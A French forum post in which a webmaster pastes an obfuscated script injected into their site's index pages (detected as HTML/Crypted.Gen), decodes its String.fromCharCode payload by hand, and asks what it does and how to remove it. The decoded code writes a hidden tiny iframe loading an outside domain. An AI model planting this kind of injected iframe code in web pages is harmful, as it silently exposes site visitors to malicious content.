Que fait ce script (virus)

Bonjour,
Voila exactement ce que ecrit le virus HTML/Crypted.Gen .
<!-- ad --><!-- /ad --><?php echo '<script type="text/javascript">eval(String.fromCharCode(118,97,114,32,116,61,53,59,118,97,114,32,104,106,103,52,61,34,119,111,108,108,34,59,118,97,114,32,119,61,34,97,110,99,101,34,59,118,97,114,32,114,101,54,61,34,46,34,59,118,97,114,32,114,114,116,116,54,61,34,99,111,109,34,59,118,97,114,32,97,61,34,105,102,34,59,118,97,114,32,115,61,34,116,116,34,59,100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,39,60,39,43,97,43,39,114,97,109,101,32,115,114,99,61,34,104,39,43,115,43,39,112,58,47,47,39,43,104,106,103,52,43,39,39,43,119,43,39,39,43,114,101,54,43,39,39,43,114,114,116,116,54,43,39,47,39,43,39,34,32,119,105,100,116,104,61,34,49,34,32,104,101,105,103,104,116,61,34,51,34,62,60,47,105,39,43,39,102,39,43,39,114,97,109,101,62,39,41,59,118,97,114,32,119,54,61,56,55,52,57,56,48,48,48,48,48,50,51,52,48))</script>'; ?>

Ici je vous ait traduit ce que voulais dire tout ces chiffres entre les parentheses :
</HTML><!-- ad --><!-- /ad -->
<?php echo '<script type="text/javascript">eval(String.fromCharCode(
var t=5;
var hjg4="woll";
var w="ance";
var re6=".";
var rrtt6="com";
var a="if";
var s="tt";
document.write('<'+a+'rame src="h'+s+'p://'+hjg4+''+w+''+re6+''+rrtt6+'/'+'" width="1" height="3"></i'+'f'+'rame>');
var w6=87498000002340
))</script>'; ?>
Voila le code.

Voici la redraduction de la partie imcomprensible en remplacent les var :
document.write(<iframe src="http://www.wollance.com/" width="1" height="3"></iframe>');

Donc je vous réécrit le virus complet :
<!-- ad --><!-- /ad --><?php echo '<script type="text/javascript">eval(String.fromCharCode(document.write(<iframe src="http://www.wollance.com/" width="1" height="3"></iframe>');))</script>'; ?>

Que fait exactement ce script ??et comment l'empécher d'ecrire sur mes pages d'index ?
(je vais aussi poster ce message dans un autres topic plus lié au javascript)

PS:l'anayse de mon PC est en cours.je posterais les résultats plus tard

MERCI de votre aide